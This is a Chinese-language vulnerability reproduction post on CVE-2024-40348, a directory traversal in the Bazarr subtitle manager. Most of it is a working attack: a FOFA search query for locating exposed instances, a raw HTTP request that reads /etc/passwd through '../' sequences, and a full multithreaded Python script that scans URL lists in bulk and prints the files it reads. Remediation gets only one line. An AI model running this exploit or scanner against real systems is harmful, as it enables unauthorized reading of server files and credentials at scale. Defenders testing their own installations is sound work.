应用介绍：

在享受高清影音体验的过程中，字幕是不可或缺的一部分。Bazarr是一款与Sonarr和Radarr完美搭配的智能字幕管理工具，让你无需手动搜索下载，就能自动匹配到合适的字幕，让观影体验更上一层楼。

项目地址：

https://github.com/morpheus65535/bazarr

漏洞概述：

Bazaar 存在漏洞允许未经身份验证的攻击者执行目录遍历。

漏洞版本：

Bazaar <=v1.4.3

资产测绘：

FOFA:title=="Bazarr"

测试环境：

搭建具体可参考如下：

https://wiki.bazarr.media/

漏洞复现：

访问目标地址：

使用burpsuite 抓包，修改请求路径如下：

/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd

请求包大致如下：

GET /api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发送数据包

脚本批量扫描：

"""
POC for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. 

This tool is based on this security research: https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md
                                                                         
Usage:
    single scan: CVE-2024-40348.py -u hostname -p /etc/passwd
    bulk scan CVE-2024-40348 -f file.txt -p /etc/passwd

Ref:    
https://nvd.nist.gov/vuln/detail/CVE-2024-40348
https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md

Disclaimer:
    I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.

"""

import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3
from urllib.parse import urljoin
import socket
import ssl

# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ANSI color codes
light_gray_color = '\033[37;1m'
dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'

the_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

def banner():
    print(f"""{light_orange_color}
   _______    ________    ___   ____ ___  __ __        __ __  ____ _____ __ __  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /       / // / / __ \__  // // / ( __ )
 / /    | | / / __/________/ // / / /_/ / // /_______/ // /_/ / / //_ </ // /_/ __  |
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__  __/ /_/ /__/ /__  __/ /_/ / 
\____/  |___/_____/    /____/\____/____/ /_/          /_/  \____/____/  /_/  \____/  {reset_color}
                                                                                               
{cyan_color}-> POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.
{reset_color} """)

# Log directory and file
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')

# Function to create log directory
def create_log_dir():
    if not os.path.exists(LOG_DIR):
        os.makedirs(LOG_DIR)
        print_message('info', f"Log directory created: {LOG_DIR}")

# Function to log messages
def log_message(message):
    with open(LOG_FILE, 'a') as log_file:
        log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")

# Function to print messages with ANSI colors
def print_message(level, message):
    if level == 'vulnerable':
        print(f"[{dimmed_gray_color}{the_time}]{honey_yellow_color} [VULN] {reset_color}{message}")
    if level == 'info':
        print(f"[{dimmed_gray_color}{the_time}]{dimmed_gray_color} [INFO] {reset_color}{message}")
    elif level == 'warning':
        print(f"[{dimmed_gray_color}[{the_time}]{green_color} [OK] {reset_color}{message}")
    elif level == 'error':
        print(f"[{light_gray_color}[{the_time}]{red_color} [ERROR] {message}{reset_color}")
    log_message(message)

def make_request(url):
    try:
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            return response.text
        else:
            return None
    except requests.RequestException as e:
        return None

def send_raw_request(host, port, path):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    if port == 443:
        context = ssl.create_default_context()
        sock = context.wrap_socket(sock, server_hostname=host)
    
    try:
        sock.connect((host, port))
        request = f"GET {path} HTTP/1.1\r\n"
        request += f"Host: {host}:{port}\r\n"
        request += "Cache-Control: max-age=0\r\n"
        request += "Accept-Language: en-US\r\n"
        request += "Upgrade-Insecure-Requests: 1\r\n"
        request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36\r\n"
        request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n"
        request += "Accept-Encoding: gzip, deflate, br\r\n"
        request += "Connection: close\r\n\r\n"
        
        sock.sendall(request.encode())

        response = b""
        while True:
            data = sock.recv(4096)
            if not data:
                break
            response += data

        return response.decode('utf-8', errors='ignore')
    
    finally:
        sock.close()

def test_host(url, file_path):
    try:
        from urllib.parse import urlparse
        parsed_url = urlparse(url)
        host = parsed_url.hostname
        port = parsed_url.port or (443 if parsed_url.scheme == 'https' else 80)
        path = f"/api/swaggerui/static/../../../../../../../../../../../../../../../../{file_path}"
        
        # print_message('info', f"Sending request to: {host}:{port}{path}")
        print_message('info', f"Sending request to: {host}:{port}")
        response = send_raw_request(host, port, path)
        
        headers, _, body = response.partition('\r\n\r\n')
        
        #print(f"Response Headers:\n{headers}")

        if file_path == '/etc/passwd':
            patterns = [
                r'\w+:x:\d+:\d+:',
                r'root:',
                r'nobody:',
                r'/bin/bash',
                r'/usr/sbin/nologin'
            ]
        else:
            patterns = [r'\w+']

        if any(re.search(pattern, body) for pattern in patterns):
            print_message('vulnerable', f"Vulnerable {url}")
            print_message('vulnerable', f"Reading {file_path}")
            print(f"{body[:2000]}...\n")
        else:
            print_message('warning', f"Not Vulnerable {url}")
            #print(f"Response Body:\n{body[:1000]}...")

    except Exception as e:
        #print_message('error', f"Error: {url} - {str(e)}")
        print_message('error', f"{url}")

def worker(queue,file_path):
    while not queue.empty():
        url = queue.get()
        print_message('info', f"Testing {url}")
        test_host(url,file_path)
        queue.task_done()

def main():
    banner()
    parser = argparse.ArgumentParser(description='POC for CVE-2024-40348 Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target server')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
    group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')
    parser.add_argument('-p', '--path', default='/etc/passwd', help='File path to check (default: /etc/passwd)')
    args = parser.parse_args()

    create_log_dir()

    if args.url:
        print_message('info', f"Testing single target: {args.url}")
        test_host(args.url, args.path)
    elif args.file:
        with open(args.file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
        
        print_message('info', f"Testing multiple targets from file: {args.file}")
        if args.path:
            file_path = args.path
        else:
            file_path = "/etc/passwd"
        url_queue = queue.Queue()
        for url in urls:
            url_queue.put(url)

        threads = []
        for _ in range(10):
            t = threading.Thread(target=worker, args=(url_queue,file_path))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        print_message('info', "Scanning complete.")

if __name__ == '__main__':
    main()

使用方法

python .\CVE-2024-40348.py -f .\1.txt

漏洞修复：

升级至安全版